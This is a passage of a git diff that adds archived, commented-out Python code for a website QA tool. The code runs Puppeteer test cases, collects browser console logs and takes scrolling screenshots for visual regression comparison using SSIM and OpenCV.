+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 ) 
+               
+#             if step['action']['type'] == 'click':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'clicking element -> {step["action"]["element"]}')
+#                     # using puppeteer, find and click on the 'element' 
+#                     selector = await self.format_element(step["action"]["element"])
+#                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))                 
+#                     # scrolling to element using plain JavaScript
+#                     await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
+#                     element = await self.page.J(selector)
+#                     await element.click()
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = await self.save_screenshot(page=self.page)
+                
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 ) 
+
+#             if step['action']['type'] == 'change':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+                
+#                 try:
+#                     print(f'changing element to value -> {step["action"]["value"]}') 
+#                     # using puppeteer, find and click on the 'element'
+#                     if step["action"]["element"] != (None or ''):
+#                         selector = await self.format_element(step["action"]["element"])
+#                         await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
+#                         # scrolling to element using plain JavaScript 
+#                         await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
+#                         element = await self.page.J(selector)
+#                         await element.click(clickCount=3)
+#                     await self.page.keyboard.type(step["action"]["value"])
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = await self.save_screenshot(page=self.page)
+                
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 ) 
+
+#             if step['action']['type'] == 'keyDown':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+                
+#                 try:
+#                     print(f'keyDown action for key -> {step["action"]["key"]}')
+#                     # using puppeteer, press the selected key
+#                     await self.page.keyboard.press(step['action']['key'])
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = await self.save_screenshot(page=self.page)
+                
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['assertion']['type'] == 'match':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='assertion', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
+#                     # using puppeteer, find elememt and assert if element.text == assertion.text
+#                     selector = await self.format_element(step["assertion"]["element"])
+#                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
+#                     # scrolling to element using plain JavaScript
+#                     await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
+#                     elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent')
+#                     elementText = elementText.strip()
+#                     print(f'elementText => {elementText}')
+#                     print(f'value => {step["assertion"]["value"]}')
+#                     assert elementText == step["assertion"]["value"]
+#                     image = await self.save_screenshot(page=self.page)
+
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='assertion', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['assertion']['type'] == 'exists':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='assertion', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
+#                     # using puppeteer, find elememt and assert it exists
+#                     selector = await self.format_element(step["assertion"]["element"])
+#                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
+#                     await self.page.J(selector)
+#                     image = await self.save_screenshot(page=self.page)
+
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='assertion', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             i += 1    
+#         await self.update_testcase(
+#             time_completed=datetime.now()
+#         )
+#         await self.driver.close()
+#         print('-- testcase run complete --')
+
+#         if not self.testcase.passed and self.testcase.configs.get('create_issue'):
+#             print('generating new Issue...')
+#             Issuer(testcase=self.testcase).build_issue()
+
+#         return None
+
+    
+    
+    
+    
+    
+    
\ No newline at end of file
diff --git a/app/api/utils/archive/driver_p.py b/app/api/utils/archive/driver_p.py
new file mode 100644
index 00000000..42b89e6a
--- /dev/null
+++ b/app/api/utils/archive/driver_p.py
@@ -0,0 +1,263 @@
+# from pyppeteer import launch
+# from scanerr import settings
+# import time, os, sys, datetime
+
+
+
+
+
+
+# async def driver_init(window_size: str='1920,1080', wait_time: int=30) -> object:
+#     """ 
+#     Starts a new puppeteer driver instance
+
+#     Expects: {
+#         'window_size' : str, 
+#         'wait_time'   : int
+#     } 
+
+#     Returns -> driver object
+#     """
+
+#     # parsing window sizes
+#     sizes = window_size.split(',')
+
+#     # setting browser options
+#     options = {
+#         'executablePath': os.environ.get('CHROME_BROWSER'),
+#         'args': [
+#             '--no-sandbox', 
+#             '--disable-dev-shm-usage',
+#             '--force-device-scale-factor=0.5',
+#             'ignore-certificate-errors',
+#             '--hide-scrollbars',
+#             f'--window-size={window_size}',
+#         ],
+#         'defaultViewport': {
+#             'width': int(sizes[0]),
+#             'height': int(sizes[1]), 
+#         },
+#         # 'timeout': wait_time * 1000
+#     }
+
+#     # launching driver
+#     driver = await launch(
+#         options=options, 
+#         headless=True,
+#         handleSIGINT=False,
+#         handleSIGTERM=False,
+#         handleSIGHUP=False
+#     )
+    
+#     # return driver
+#     return driver
+
+
+
+
+# async def interact_with_page(page: object=None) -> object:
+#     # simulate mouse movement
+#     # and returns the page object
+#     await page.mouse.move(0, 0)
+#     await page.mouse.move(0, 50)
+#     return page
+
+
+
+
+# async def wait_for_page(page: object=None, max_wait_time: int=30) -> object:
+#     """
+#     Expects the puppeteer page instance and waits 
+#     for either the page to fully load or the max_wait_time
+#     to expire before returning.
+
+#     Expects: {
+#         'page'          : object, 
+#         'max_wait_time' : int
+#     }
+
+#     Returns -> page <pypt:instance>
+#     """
+
+#     print(f'waiting for page load or {str(max_wait_time)} seconds')
+
+#     timeout = 0
+#     page_state = 'loading'
+
+#     while int(timeout) < int(max_wait_time) and page_state != 'complete':
+#         page_state = await page.evaluate('document.readyState')
+#         print(f'document state is {page_state}')
+#         time.sleep(1)
+#         timeout += 1
+
+#     return page
+
+
+
+
+# async def driver_test() -> None:
+#     """ 
+#     Spins up a puppeteer driver instance and
+#     tests to ensure it can access the browser and internet
+
+#     Returns -> None
+#     """
+
+#     print("Testing puppeteer instalation and integration...")
+#     message = 'Puppeteer was unable to start\n\n'
+#     status = 'Failed'
+
+#     # testing puppeteer
+#     try:
+#         driver = await driver_init()
+#         page = await driver.newPage()
+#         await page.goto('https://google.com', {'waitUntil': 'networkidle0'})
+#         await interact_with_page(page)
+#         title = await page.title()
+#         assert title == 'Google'
+#         if title == 'Google':
+#             status = 'Success'
+#             message = 'Puppeteer installed and working \N{check mark} \n'
+
+#     # log exception
+#     except Exception as e:
+#         print(e)
+
+#     # logging test results
+#     sys.stdout.write(
+#         '--- ' + status + ' ---\n'+ message
+#     )
+
+#     # quiting driver
+#     try:
+#         await driver.close()
+#     except:
+#         pass
+    
+#     return None
+   
+
+
+
+# async def get_data(url: str=None, configs: dict=None) -> dict:
+#     """ 
+#     Using the puppeteer driver, navigates to the passed 
+#     'url' and records the page source and any 
+#     present console errors & warnings
+
+#     Expects: {
+#         url     : str, 
+#         configs : dict
+#     }
+    
+#     Returns -> data: {
+#         'html' : str, 
+#         'logs' : dict,
+#     }
+#     """
+
+#     # initing the driver
+#     sizes = configs['window_size'].split(',')
+#     driver = await driver_init(window_size=configs['window_size'])
+#     page = await driver.newPage()
+
+#     # setting driver configs
+#     page_options = {
+#         'waitUntil': 'networkidle0', 
+#         # 'timeout': configs['max_wait_time']*1000
+#     }
+#     viewport = {
+#         'width': int(sizes[0]),
+#         'height': int(sizes[1]),
+#     }
+#     userAgent = (
+#         "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
+#         (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36"
+#     )
+#     await page.setViewport(viewport)
+#     if configs['device'] == 'mobile':
+#         await page.setUserAgent(userAgent)
+    
+#     # defining logs
+#     logs = []
+
+#     def record_logs(log):
+#         # helper method to record console
+#         # logs in the issues tab
+#         if log.type == 'error':
+#             if '.js' in log.text:
+#                 source = 'javascript'
+#             elif 'http' in log.text:
+#                 source = 'network'
+#             else:
+#                 source = 'other'
+#             log_obj = {
+#                 "level": "SEVERE", 
+#                 "source": source, 
+#                 "message": str(log.text),
+#                 "timestamp": int(datetime.datetime.now().timestamp() * 1000)
+#             }
+#             logs.append(log_obj)
+#         elif log.type == 'warning':
+#             if '.js' in log.text:
+#                 source = 'javascript'
+#             elif 'http' in log.text:
+#                 source = 'network'
+#             else:
+#                 source = 'other'
+#             log_obj = {
+#                 "level": "WARNING",
+#                 "source": source,
+#                 "message": str(log.text),
+#                 "timestamp": int(datetime.datetime.now().timestamp() * 1000)
+#             }
+#             logs.append(log_obj)
+    
+#     def record_network(request):
+#         # helper method to record console
+#         # network issues in the issues tab
+#         log_obj = {
+#             "level": "SEVERE", 
+#             "source": "network",
+#             "message": f'{request.failure()["errorText"]} {request.url}',
+#             "timestamp": int(datetime.datetime.now().timestamp() * 1000)
+#         }
+#         logs.append(log_obj)
+
+#     def record_error(error):
+#         # helper method to record console
+#         # page errors in the issues tab
+#         err = str(error).split(' at ')[0]
+#         log_obj = {
+#             "level": "SEVERE", 
+#             "source": "javascript",
+#             "message": f'{err}',
+#             "timestamp": int(datetime.datetime.now().timestamp() * 1000)
+#         }
+#         logs.append(log_obj)
+
+#     # getting console logs, warnings, and errors
+#     page.on('console', lambda log : record_logs(log))
+#     page.on('requestfailed', lambda request : record_network(request))
+#     page.on('pageerror', lambda error : record_error(error))
+
+#     # navigate to requested url
+#     await page.goto(url, page_options) 
+
+#     # await page.waitForNavigation(navWaitOpt)
+#     await wait_for_page(page=page)
+#     await interact_with_page(page)
+#     html = await page.content()
+    
+#     # quitting driver
+#     await driver.close()
+    
+#     # returning data
+#     data = {
+#         'html': html, 
+#         'logs': logs,
+#     }
+
+#     return data
+
+
diff --git a/app/api/utils/archive/imager.py b/app/api/utils/archive/imager.py
new file mode 100644
index 00000000..393bfff4
--- /dev/null
+++ b/app/api/utils/archive/imager.py
@@ -0,0 +1,797 @@
+# from .driver_s import driver_init, driver_wait, quit_driver
+# from .driver_p import driver_init as driver_init_p, wait_for_page
+# from ..models import Site, Scan, Test, Mask
+# from skimage.metrics import structural_similarity
+# from scanerr import settings
+# from PIL import Image as I, ImageChops, ImageStat
+# from datetime import datetime
+# from asgiref.sync import sync_to_async
+# import time, os, sys, json, uuid, boto3, \
+#     statistics, shutil, numpy, cv2
+
+
+
+
+
+
+# class Imager():
+#     """
+#     High level Image handler used to compare screenshots of
+#     a website.
+
+#     Also known as VRT or Visual Regression Testing.
+#     Contains three methods scan_s(), scan_p(), test(). 
+#     The _p appendage denotes using Puppeteer as the webdriver
+#     and the _s appendage denotes using Selenium as the webdriver:
+
+#         def scan_s(driver=None) -> using selenium
+#             grabs multiple screenshots of the website 
+#             and uploads them to s3.
+
+#         def scan_p() -> using puppeteer
+#             grabs multiple screenshots of the website 
+#             and uploads them to s3.
+
+#         def test(test=<test:object>) -> compares each 
+#             screenshot in the two scans and records 
+#             a score out of 100%
+
+#     """
+
+
+
+
+#     def __init__(self, scan: object=None, configs: dict=None):
+
+#         # main scan object
+#         self.scan = scan
+
+#         # main configs object
+#         self.configs = configs
+        
+#         # main image_array for scans
+#         self.image_array = []
+        
+#         # setup boto3 configurations
+#         self.s3 = boto3.client(
+#             's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+#             aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+#             region_name=str(settings.AWS_S3_REGION_NAME), 
+#             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+#         )
+
+#         # scripts
+#         self.pause_video_script = (
+#             """
+#             document.querySelectorAll('video').forEach(vid => vid.pause());
+#             document.querySelectorAll('video').forEach(vid => vid.currentTime=0);
+#             """ 
+#         )
+#         self.set_jquery = (
+#             """
+#             var jq = document.createElement('script');
+#             jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js";
+#             document.getElementsByTagName('head')[0].appendChild(jq);
+#             """
+#         )
+#         self.pause_animations_script = (
+#             """
+#             const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');
+#             const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');
+#             styleElement.appendChild(styleTagCSSes);
+#             document.head.appendChild(styleElement);
+#             """
+#         )
+
+
+
+
+#     def check_timeout(self, timeout: int, start_time: str) -> bool:
+#         """
+#         Checks to see if the current time exceedes the alotted timeout. 
+        
+#         Returns -> True if timeout exceeded
+#         """
+#         current = datetime.now()
+#         diff = current - start_time
+#         if diff.total_seconds() >= int(timeout):
+#             print('exceeded timeout')
+#             return True
+#         else:
+#             return False
+
+
+
+
+#     def add_images(self, im1: object, im2: object) -> object:
+#         """
+#         Joins img1 and im2 vertically and saves as "new_img"
+        
+#         Returns -> new_img <Image>
+#         """
+#         im1 = I.open(im1)
+#         im2 = I.open(im2)
+#         new_img = I.new('RGB', (im1.width, im1.height + im2.height))
+#         new_img.paste(im1, (0, 0))
+#         new_img.paste(im2, (0, im1.height))
+#         return new_img
+        
+
+
+    
+#     def save_image(self, pic_id: str, image: object) -> None:
+#         """
+#         Upload image to s3, save info as image_obj,
+#         add image_obj to image_array, & remove image file
+
+#         Returns -> None
+#         """
+#         remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png'
+#         root_path = settings.AWS_S3_URL_PATH
+#         image_url = f'{root_path}/{remote_path}'
+    
+#         # upload to s3
+#         with open(image, 'rb') as data:
+#             self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+#                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+#             )
+    
+#         # create image obj and add to list
+#         img_obj = {
+#             "index": 0,
+#             "id": str(pic_id),
+#             "url": image_url,
+#             "path": remote_path,
+#         }
+#         self.image_array.append(img_obj)
+
+#         print(f'adding {img_obj["url"]} to image_array')
+        
+#         # remove local copy
+#         os.remove(image)
+
+#         return None
+
+
+
+
+#     def scan_s(self, driver: object=None) -> list:
+#         """
+#         Grabs full length screenshots of the website and uploads 
+#         them to s3.
+
+#         Expects: {
+#             'driver': object
+#         }
+
+#         Returns -> self.image_array list
+#         """
+
+#         # initialize driver if not passed as param
+#         driver_present = True
+#         if not driver:
+#             driver = driver_init()
+#             driver_present = False
+
+#         # request page_url 
+#         driver.get(self.scan.page.page_url)
+
+#         # waiting for network requests to resolve
+#         driver_wait(
+#             driver=driver, 
+#             interval=int(self.configs.get('interval', 5)),  
+#             min_wait_time=int(self.configs.get('min_wait_time', 10)),
+#             max_wait_time=int(self.configs.get('max_wait_time', 30)),
+#         )
+
+#         # defining browser demesions
+#         sizes = self.configs.get('window_size', '1920,1080').split(',')
+
+#         # getting full_page_height
+#         if self.configs.get('auto_height', True):
+#             full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+#             sizes = self.configs.get('window_size', '1920,1080').split(',')
+#             driver.set_window_size(int(sizes[0]), int(full_page_height))
+
+
+#         if self.configs.get('disable_animations') == True:
+#             # inserting animation pausing script
+#             try:
+#                 driver.execute_script(self.pause_animations_script)
+#             except:
+#                 print('cannot pause animations')
+                
+#             # inserting video pausing scripts
+#             try:
+#                 driver.execute_script(self.pause_video_script)
+#             except:
+#                 print('cannnot pause videos')
+
+#         # mask all listed ids        
+#         if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
+#             ids = self.configs.get('mask_ids').split(',')
+#             for id in ids:
+#                 try:
+#                     driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
+#                     print('masked an element')
+#                 except:
+#                     print('cannot find element via id provided')
+
+#         # mask all Global mask ids that are active
+#         active_masks = Mask.objects.filter(active=True)
+#         if len(active_masks) != 0:
+#             for mask in active_masks:
+#                 try:
+#                     driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
+#                     print('masked an element')
+#                 except:
+#                     print('cannot find element via global mask id provided')
+
+#         # scroll one frame at a time and capture screenshot
+#         final_img = None
+#         index = 0
+#         last_height = -1
+#         bottom = False
+#         start_time = datetime.now()
+#         while not bottom:
+
+#             # checking if maxed out time
+#             if self.check_timeout(self.configs.get('timeout', 300), start_time):
+#                 break
+
+#             # scroll single frame
+#             if index != 0:
+#                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
+#                 time.sleep(int(self.configs.get('min_wait_time', 10)))
+
+#             # get current position and compare to previous
+#             new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
+#             height_diff = new_height - last_height
+
+#             print(f'new_height => {new_height} | height_diff => {height_diff}')
+
+#             if height_diff > 20:
+#                 last_height = new_height
+#                 pic_id = uuid.uuid4()
+                
+#                 # waiting for network requests to resolve
+#                 driver_wait(
+#                     driver=driver, 
+#                     interval=int(self.configs.get('interval', 5)),  
+#                     min_wait_time=int(self.configs.get('min_wait_time', 10)),
+#                     max_wait_time=int(self.configs.get('max_wait_time', 30)),
+#                 )
+
+#                 # get screenshot
+#                 driver.save_screenshot(f'{pic_id}.png')
+#                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+
+#                 # resizing image to remove duplicate portions
+#                 img = I.open(image)
+#                 width, height = img.size
+#                 left = 0
+#                 top = height - (height_diff/2)
+#                 right = width
+#                 _bottom = height
+#                 new_img = img.crop((left, top, right, _bottom))
+#                 new_img.save(image, quality=100)
+                            
+#                 # adding new image to bottom of existing image (if not index = 0)
+#                 pic_id_2 = uuid.uuid4()
+#                 if index != 0 and final_img is not None:
+#                     self.add_images(final_img, image).save(f'{pic_id_2}.png')
+#                     os.remove(final_img)
+#                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+#                 else:
+#                     I.open(image).save(f'{pic_id_2}.png')
+#                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+                
+#                 os.remove(image)
+#                 index += 1 
+            
+#             else:
+#                 bottom = True
+
+#         # saving image
+#         self.save_image(pic_id=pic_id_2, image=final_img)
+
+#         # clean up
+#         if not driver_present:
+#             quit_driver(driver)
+
+#         # return images
+#         return self.image_array
+
+
+
+
+#     async def scan_p(self) -> list:
+#         """
+#         Using Puppeteer, grabs full length screenshots of the website and uploads 
+#         them to s3.
+
+#         Returns -> self.image_array list
+#         """
+
+#         @sync_to_async
+#         def get_page():
+#             _page = self.scan.page
+#             return _page
+        
+#         # getting Scanerr `page` object
+#         _page = await get_page()
+
+#         # starting up puppeteer driver
+#         driver = await driver_init_p(
+#             window_size=self.configs.get('window_size', '1920,1080'), 
+#             wait_time=int(self.configs.get('max_wait_time', 30))
+#         )
+
+#         # initing new puppeteer page
+#         page = await driver.newPage()
+
+#         # setting configs for driver
+#         sizes = self.configs.get('window_size', '1920,1080').split(',')
+#         is_mobile = False
+#         if self.configs.get('device') == 'mobile':
+#             is_mobile = True
+
+#         page_options = {
+#             'waitUntil': 'networkidle0', 
+#             # 'timeout': int(self.configs.get('max_wait_time', 30))*1000
+#         }
+
+#         # requesting page_url to get height of 
+#         await page.goto(_page.page_url, page_options)
+
+#         # waiting for page to load
+#         await wait_for_page(page=page)
+
+#         # getting full page_height
+#         page_height = int(sizes[1])
+#         if self.configs.get('auto_height', True):
+#             page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
+
+#         # setting more driver configs
+#         viewport = {
+#             'width': int(sizes[0]),
+#             'height': int(page_height),
+#             'isMobile': is_mobile,
+#         }
+#         userAgent = (
+#             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
+#             (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
+#         )
+#         emulate_options = {
+#             'viewport': viewport,
+#             'userAgent': userAgent
+#         }
+
+#         # setting device type
+#         if self.configs.get('device') == 'mobile':
+#             await page.emulate(emulate_options)
+#         else:
+#             await page.setViewport(viewport)
+
+#         # requesting page_url
+#         await page.goto(_page.page_url, page_options)
+
+#         # handling anamations
+#         if self.configs.get('disable_animations') == True:
+#             try:
+#                 # inserting animation pausing script
+#                 await page.evaluate(self.pause_animations_script)
+#             except:
+#                 print('cannot pause animations')
+#             try:
+#                 # pausing videos
+#                 videos = await page.querySelectorAll('video')
+#                 for vid in videos:
+#                     await page.evaluate('(vid) => vid.pause()', vid)
+#             except Exception as e:
+#                 print(e)
+
+#         # mask all listed ids
+#         if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
+#             ids = self.configs.get('mask_ids').split(',')
+#             for id in ids:
+#                 try:
+#                     await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
+#                     print('masked an element')
+#                 except:
+#                     print('cannot find element via id provided')
+
+
+#         # mask all Global mask ids that are active
+#         @sync_to_async
+#         def get_active_global_masks():
+#             masks = Mask.objects.filter(active=True)
+#             active_masks = []
+#             if len(masks) > 0:
+#                 for mask in masks:
+#                     active_masks.append(mask.id)
+#             return active_masks
+
+#         active_masks = await get_active_global_masks()
+
+#         for mask in active_masks:
+#             try:
+#                 await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
+#                 print('masked an element')
+#             except:
+#                 print('cannot find element via global mask id provided')
+    
+#         @sync_to_async
+#         def save_image(*args, **kwargs):
+#             self.save_image(pic_id=pic_id, image=final_img)
+
+#         # scroll one frame at a time and capture screenshot
+#         final_img = None
+#         index = 0
+#         last_height = -1
+#         bottom = False
+#         start_time = datetime.now()
+#         while not bottom:
+
+#             # checking if maxed out time
+#             if self.check_timeout(int(self.configs.get('timeout', 300)), start_time):
+#                 break
+
+#             # scroll single frame
+#             if index != 0:
+#                 await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
+#                 time.sleep(int(self.configs.get('min_wait_time', 10)))
+
+#             # get current position and compare to previous
+#             new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
+#             height_diff = new_height - last_height
+#             if height_diff > 20:
+#                 last_height = new_height
+#                 pic_id = uuid.uuid4()
+
+#                 # interact with and wait for page to load
+#                 await page.mouse.move(0, 0)
+#                 await page.mouse.move(0, 100)
+#                 time.sleep(int(self.configs.get('min_wait_time', 10)))
+#                 await wait_for_page(page=page)
+            
+#                 # get screenshot
+#                 await page.screenshot({'path': f'{pic_id}.png'})
+#                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+                
+#                 # resizing image to remove duplicate portions
+#                 img = I.open(image)
+#                 width, height = img.size
+#                 left = 0
+#                 top = height - (height_diff)
+#                 right = width
+#                 _bottom = height
+#                 new_img = img.crop((left, top, right, _bottom))
+#                 new_img.save(image, quality=100)
+                
+#                 # adding new image to bottom of existing image (if not index = 0)
+#                 pic_id_2 = uuid.uuid4()
+#                 if index != 0 and final_img is not None:
+#                     self.add_images(final_img, image).save(f'{pic_id_2}.png')
+#                     os.remove(final_img)
+#                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+#                 else:
+#                     I.open(image).save(f'{pic_id_2}.png')
+#                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+                
+#                 os.remove(image)
+#                 index += 1 
+            
+#             else:
+#                 bottom = True
+        
+#         # saving image
+#         await save_image(pic_id=pic_id, image=final_img)
+
+#         # cleaning up
+#         await driver.close()
+
+#         # returning images
+#         return self.image_array
+
+
+
+
+#     def test(self, test: object, index: int=None) -> dict:
+#         """
+#         Compares each screenshot between the two scans and records 
+#         a score out of 100%.
+
+#         Compairsons used : 
+#             - Structral Similarity Index (ssim)
+#             - PIL ImageChop Differences, Ratio
+#             - cv2 ORB Brute-force Matcher, Ratio
+
+#         Expects: {
+#             'test': object, 
+#             'index': int,
+#         }
+
+#         Returns -> data: {
+#             'average_score' : float(0-100),
+#             'images'        : dict,
+#         }
+#         """
+
+#         # setup temp dirs
+#         if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')):
+#             os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}'))
+        
+#         # temp root
+#         temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}')
+        
+#         # loop through and download each img in scan and compare it.
+#         pre_scan_images = test.pre_scan.images
+#         img_test_results = []
+#         scores = []
+#         i = 0
+
+#         if index is not None:
+#             pre_scan_images = [test.pre_scan.images[index]]
+#             i = index
+
+#         # catching user error when scan_type 
+#         # did not include 'vrt'
+#         if pre_scan_images is None:
+#             images_delta = {
+#                 "average_score": None,
+#                 "images": None,
+#             }
+#             return images_delta
+
+
+#         for pre_img_obj in pre_scan_images:
+            
+#             # getting pre_scan image
+#             pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png')
+#             with open(pre_img_path, 'wb') as data:
+#                 self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data)
+            
+#             # getting post_scan image
+#             try:
+#                 post_img_obj = test.post_scan.images[i]
+#             except:
+#                 post_img_obj = None
+            
+#             if post_img_obj is not None:
+#                 post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png')
+#                 with open(post_img_path, 'wb') as data:
+#                     self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data)
+                
+#                 # open images with PIL Image library
+#                 post_img = I.open(post_img_path)
+#                 pre_img = I.open(pre_img_path)
+                
+#                 # check and reformat image sizes if necessary
+#                 pre_img_w, pre_img_h = pre_img.size
+#                 post_img_w, post_img_h = post_img.size
+
+#                 # pre_img is longer
+#                 if pre_img_h > post_img_h:
+#                     print(f'pre_img is larger, adjusting...')
+#                     new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h)).convert(mode=post_img.mode)
+#                     new_pre_img.save(pre_img_path, quality=100)
+#                     pre_img = I.open(pre_img_path)
+#                 # post_img is longer
+#                 if post_img_h > pre_img_h:
+#                     print(f'post_img is larger, adjusting...')
+#                     new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h)).convert(mode=pre_img.mode)
+#                     new_post_img.save(post_img_path, quality=100)
+#                     post_img = I.open(post_img_path)
+
+
+#                 # build two new images with differences highlighted
+#                 def highlight_diffs(pre_img_path, post_img_path, index):
+#                     '''
+#                     Returns -> two new images with highlights & float(ssim_score)
+#                     '''
+#                     # Load the images
+#                     image1 = cv2.imread(pre_img_path)
+#                     image2 = cv2.imread(post_img_path)
+
+#                     # Convert the images to grayscale
+#                     gray1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)
+#                     gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)
+
+#                     # Compute the SSIM map
+#                     (ssim_score, diff) = structural_similarity(gray1, gray2, full=True)
+
+#                     # Highlight the differences
+#                     diff = (diff * 255).astype("uint8")
+
+#                     # Threshold the difference map
+#                     _, thresh = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)
+
+#                     # Find contours of the differences
+#                     contours, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
+
+#                     # Draw rectangles around the differences
+#                     for contour in contours:
+#                         (x, y, w, h) = cv2.boundingRect(contour)
+#                         cv2.rectangle(image1, (x, y), (x+w, y+h), (0, 255, 0), 2)
+#                         cv2.rectangle(image2, (x, y), (x+w, y+h), (0, 255, 0), 2)
+
+#                     # Save the output images
+#                     img_1_id = uuid.uuid4()
+#                     img_2_id = uuid.uuid4()
+#                     cv2.imwrite(temp_root + f"/{img_1_id}.png", image1)
+#                     cv2.imwrite(temp_root + f"/{img_2_id}.png", image2)                    
+#                     img_objs = save_images(img_1_id, img_2_id, index)
+                    
+#                     data = {
+#                         "img_objs": img_objs,
+#                         "ssim_score": ssim_score
+#                     }
+
+#                     return data
+
+
+#                 # saving old images to new test.id path
+#                 def save_images(pre_img_id, post_img_id, index):
+#                     image_ids = [pre_img_id, post_img_id]
+#                     img_objs = []
